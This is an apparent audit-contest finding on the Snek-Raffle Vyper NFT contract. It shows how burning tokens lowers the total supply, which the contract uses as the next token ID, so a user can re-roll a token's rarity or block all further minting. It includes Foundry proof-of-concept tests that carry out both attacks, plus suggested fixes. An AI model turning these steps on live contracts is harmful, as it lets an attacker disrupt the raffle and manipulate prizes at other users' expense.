First Flight #11: Snek-Raffle
First Flight #11
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Burning Tokens can be Used to DoS the Raffle or Alter the Rarity of the NFTs

EloiManuel

Summary

During the security review, it was observed that Snek-Raffle users can burn their own NFTs to decrease the total supply of tokens. This way, they could effectively DoS the project by not letting other users mint new NFTs or try to raffle again with the intention of winning the same token ID again with a different rarity.

Vulnerability Details

The Snek-Raffle project inherits from the snekmate library. Is is specifically using the ERC721 library with the functions below:

exports: (
ERC721.balanceOf,
ERC721.ownerOf,
ERC721.transferFrom,
ERC721.approve,
ERC721.safeTransferFrom,
ERC721.setApprovalForAll,
# ERC721.tokenURI, we are overriding this function
ERC721.totalSupply,
ERC721.tokenOfOwnerByIndex,
@> ERC721.burn,
# ERC721.safe_mint, not using this
ERC721.set_minter,
ERC721.permit,
ERC721.transfer_ownership,
ERC721.renounce_ownership,
)

Notice this means that users of the Snek-Raffle project can burn their own tokens. This does not necessarily imply a security flaw. However, see how the fulfillRandomWords() function is calculating the rarity of newly-minted tokens and the new ID of such token:

@internal
def fulfillRandomWords(request_id: uint256, random_words: uint256[MAX_ARRAY_SIZE]):
index_of_winner: uint256 = random_words[0] % len(self.players)
recent_winner: address = self.players[index_of_winner]
self.recent_winner = recent_winner
self.players = []
self.raffle_state = RaffleState.OPEN
self.last_timestamp = block.timestamp
rarity: uint256 = random_words[0] % 3
@> self.tokenIdToRarity[ERC721._total_supply()] = rarity
log WinnerPicked(recent_winner)
@> ERC721._mint(recent_winner, ERC721._total_supply())
send(recent_winner, self.balance)

The total supply is used to assign the rarity to the new tokens and to indicate the id of the token to mint. Therefore, an attacker could decrease the total supply by burning a token of their own and break the logic above. Two different cases appear:

  1. If the token burnt is the last one minted, this would let the attacker raffle again with the goal of gaining the same NFT with a different rarity.

  2. If the token burnt is not the last one minted, this would break the logic of the fulfillRandomWords() function as it would always revert when trying to mint ERC721._mint(recent_winner, ERC721._total_supply()) an already-existing token.

Impact

Raffle users could burn their NFTs to DoS the entire raffle or to update the rarity of their own tokens.

Proof of Concept

The function below is an example of an attacker burning its own token (last one minted) and winning the raffle again to mint a new token with the same token ID as the previously burned:

function testChangeRarity() public {
// Enter the raffle for the first time
snekRaffle.enter_raffle{value: raffleEntranceFee}();
skip(86401); // 1 day
snekRaffle.request_raffle_winner();
​
// Make sure no one owns NFT with ID 0 and total supply is 0
assertEq(snekRaffle.balanceOf(address(this)), 0);
vm.expectRevert();
snekRaffle.ownerOf(0);
assertEq(snekRaffle.totalSupply(), 0);
​
VRFCoordinatorV2Mock(vrfCoordinatorV2).fulfillRandomWords(1, payable(address(snekRaffle)));
​
// Make sure we own NFT with ID 0 and total supply is 1
assertEq(snekRaffle.balanceOf(address(this)), 1);
assertEq(snekRaffle.ownerOf(0), address(this));
assertEq(snekRaffle.totalSupply(), 1);
// Burn our token because we don't like it
snekRaffle.burn(0);
​
// After burning, we go back to initial state
assertEq(snekRaffle.balanceOf(address(this)), 0);
vm.expectRevert();
snekRaffle.ownerOf(0);
assertEq(snekRaffle.totalSupply(), 0);
​
// Raffle again
snekRaffle.enter_raffle{value: raffleEntranceFee}();
skip(86401); // 1 day
snekRaffle.request_raffle_winner();
​
VRFCoordinatorV2Mock(vrfCoordinatorV2).fulfillRandomWords(2, payable(address(snekRaffle)));
// Token ID 1 is minted again (with potentially a different rarity)
assertEq(snekRaffle.balanceOf(address(this)), 1);
assertEq(snekRaffle.ownerOf(0), address(this));
assertEq(snekRaffle.totalSupply(), 1);
}

Another, more complex, test can be done to DoS the whole Snek-Raffle project:

function testDoSSnekRaffle() public {
// Enter the raffle for the first time
snekRaffle.enter_raffle{value: raffleEntranceFee}();
skip(86401); // 1 day
snekRaffle.request_raffle_winner();
​
// Make sure no one owns NFT with ID 0 and total supply is 0
assertEq(snekRaffle.balanceOf(address(this)), 0);
vm.expectRevert();
snekRaffle.ownerOf(0);
assertEq(snekRaffle.totalSupply(), 0);
​
VRFCoordinatorV2Mock(vrfCoordinatorV2).fulfillRandomWords(1, payable(address(snekRaffle)));
​
// Make sure we own NFT with ID 0 and total supply is 1
assertEq(snekRaffle.balanceOf(address(this)), 1);
assertEq(snekRaffle.ownerOf(0), address(this));
assertEq(snekRaffle.totalSupply(), 1);
​
// Enter the raffle for the second time
snekRaffle.enter_raffle{value: raffleEntranceFee}();
skip(86401); // 1 day
snekRaffle.request_raffle_winner();
​
assertEq(snekRaffle.balanceOf(address(this)), 1);
vm.expectRevert();
snekRaffle.ownerOf(1);
assertEq(snekRaffle.totalSupply(), 1);
​
VRFCoordinatorV2Mock(vrfCoordinatorV2).fulfillRandomWords(2, payable(address(snekRaffle)));
​
// Make sure we own NFT with ID 0 and total supply is 1
assertEq(snekRaffle.balanceOf(address(this)), 2);
assertEq(snekRaffle.ownerOf(1), address(this));
assertEq(snekRaffle.totalSupply(), 2);
// Burn our token because we don't like it
snekRaffle.burn(0);
​
// After burning, we go back to initial state
assertEq(snekRaffle.balanceOf(address(this)), 1);
vm.expectRevert();
snekRaffle.ownerOf(0);
snekRaffle.ownerOf(1);
assertEq(snekRaffle.totalSupply(), 1);
​
// Raffle again
snekRaffle.enter_raffle{value: raffleEntranceFee}();
skip(86401); // 1 day
snekRaffle.request_raffle_winner();
​
VRFCoordinatorV2Mock(vrfCoordinatorV2).fulfillRandomWords(3, payable(address(snekRaffle)));
// No minting took place. Raffle is not usable anymore
// VRF call above reverted with "revert: ERC721: token already minted"
assertEq(snekRaffle.totalSupply(), 1);
}

Tools Used

Manual analysis and Foundry.

Recommendations

Consider removing the burn functionality to make sure minted NFTs exist forever. Another solution would be to update the way rarity and minting is calculated so it is not based on the total supply.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Minting the total_supply leads to brinking if people burn their NFTs to reduce the total supply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.